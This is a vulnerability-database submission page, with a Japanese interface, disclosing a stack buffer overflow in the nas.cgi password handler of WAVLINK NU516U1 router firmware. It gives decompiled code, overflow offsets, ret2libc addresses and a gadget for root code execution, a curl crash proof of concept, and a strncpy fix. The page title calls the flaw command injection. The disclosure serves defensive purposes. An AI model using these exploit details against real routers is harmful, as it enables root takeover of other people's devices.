| タイトル | WAVLINK NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection |
|---|
| 説明 | # WAVLINK NU516U1: Stack Buffer Overflow via User1Passwd strcpy in nas.cgi Leading to Remote Code Execution
## Summary
WAVLINK NU516U1 has a critical stack-based buffer overflow in the `nas.cgi` binary. The `FUN_00404f00` (change_password) function copies the `User1Passwd` POST parameter into a 52-byte stack buffer using `strcpy()` without bounds checking. An authenticated attacker (or unauthenticated via MeshMode=2 auth bypass) can overflow this buffer to hijack control flow and achieve arbitrary code execution as root via a ret2libc technique.
Unlike the CONTENT_LENGTH overflow in the same binary (which uses a separate code path in `main()`), this vulnerability is in the NAS password change handler and exploits a different stack frame with a shorter overflow offset (104 bytes to `$s0`, 116 bytes to `$ra`).
## Affected Versions
WAVLINK NU516U1 firmware version 2026-05-15 (build 708c073-mt7628)
## Vulnerability Details
### Root Cause: Unbounded strcpy of user-controlled POST parameter
`nas.cgi` → `FUN_00404f00` (change_password) (`nas.c` lines 1972-1992):
```c
undefined4 FUN_00404f00(char *param_1, char *param_2)
{
char acStack_78[52]; // 52-byte stack buffer (line 1977)
char acStack_44[52];
memset(acStack_44, 0, 0x32);
memset(acStack_78, 0, 0x32);
strcpy(acStack_44, param_1);
strcpy(acStack_78, param_2); // unbounded copy of User1Passwd (line 1983)
// ...
}
```
The call chain from the page handler (`nas.c` lines 155-164):
```c
pcVar3 = FUN_00403998("User1Passwd", param_1, 0); // extract POST param (up to 4800 bytes)
FUN_00404f00("netusb", pcVar3); // pass directly to strcpy
```
No `check_escape_char` or length validation is applied to `User1Passwd` before the `strcpy()`.
### Exploitation: Ret2libc + One-Gadget
The POST parser (`FUN_00403998`) applies a byte filter that blocks bytes `≤0x1f` and `0x7f`. This blocks stack addresses (which contain `0x7f` in `0x7fff...`) but allows libuClibc addresses (`0x77d3...` — all bytes pass the filter).
Stack frame layout for `FUN_00404f00` (152-byte frame):
| Offset from buffer | Content |
|---|---|
| 0–51 | `acStack_78` (buffer) |
| 104 | saved `$s0` |
| 108 | saved `$s1` |
| 112 | saved `$s2` |
| 116 | saved `$ra` |
Exploit values:
- `$s0` = `0x77d3ff7d` → points to `"id\0"` string inside libuClibc's `"getppid\0"` at base+`0x6f7d` (nas.cgi libuClibc base = `0x77d39000`)
- `$ra` = `0x0040536c` → one-gadget: `move $a0, $s0; jal system@PLT`
All address bytes pass the POST parser byte filter: `0x7d, 0xff, 0xd3, 0x77` (s0) and `0x6c, 0x53, 0x40, 0x00` (ra, null-terminated).
## Proof of Concept
```bash
# Sends 200-byte password into 52-byte buffer — triggers SIGSEGV
curl -X POST http://192.168.10.1/cgi-bin/nas.cgi \
-H "Referer: http://192.168.10.1/" \
-H "Cookie: session=VALID_SESSION" \
-d "page=nas&enable_storage_management=1&User1Passwd=$(python3 -c 'print("B"*200)')"
# Expected: HTTP 500 (Internal Server Error) — CGI process killed by SIGSEGV
```
### Reproduction Result
```
Normal password (8 bytes): HTTP 200, exit code 0
Overflow password (200 bytes): exit code 139 (SIGSEGV)
```
The saved `$ra` is at offset 116 from the buffer. The POST parser byte filter blocks `0x7f` (preventing stack addresses `0x7fff...`), but libuClibc addresses (`0x77d3...`) pass the filter. The attacker can use ret2libc: set `$s0` to `0x77d3ff7d` (`"id\0"` inside libuClibc's `"getppid\0"` at base+`0x6f7d`) and `$ra` to the one-gadget at `0x0040536c` to call `system("id")` as root.
## Impact
An attacker on the local network (or remote via CSRF) can:
- Execute arbitrary commands as `root` on the router via a single HTTP POST
- Achieve code execution without needing a stack address (ret2libc avoids ASLR for the main binary)
- Chain with MeshMode=2 auth bypass to exploit without valid credentials
- Chain with CSRF referer bypass for drive-by exploitation from a malicious web page
- Pivot to other devices on the LAN after obtaining a root shell
## Suggested Remediation
```c
undefined4 FUN_00404f00(char *param_1, char *param_2)
{
char acStack_78[52];
char acStack_44[52];
memset(acStack_44, 0, 0x32);
memset(acStack_78, 0, 0x32);
strncpy(acStack_44, param_1, sizeof(acStack_44) - 1); // bounded copy
strncpy(acStack_78, param_2, sizeof(acStack_78) - 1); // bounded copy
// ...
}
```
Apply bounds checking (`strncpy` with `sizeof(dest) - 1`) to all `strcpy()` calls that handle user-supplied data. Enable stack canaries (`-fstack-protector-strong`) across all CGI binaries.
|
|---|
| ソース | ⚠️ https://github.com/oduoke567/WAVLINK-NU516U1-2026-05-1/blob/main/report2.md |
|---|
| ユーザー | oduoke (UID 98772) |
|---|
| 送信 | 2026年06月06日 12:19 (2 月 ago) |
|---|
| モデレーション | 2026年08月02日 22:33 (2 months later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 385417 [Wavlink WL-NU516U1 708c073-mt7628 nas.cgi change_password User1Passwd メモリ破損] |
|---|
| ポイント | 20 |
|---|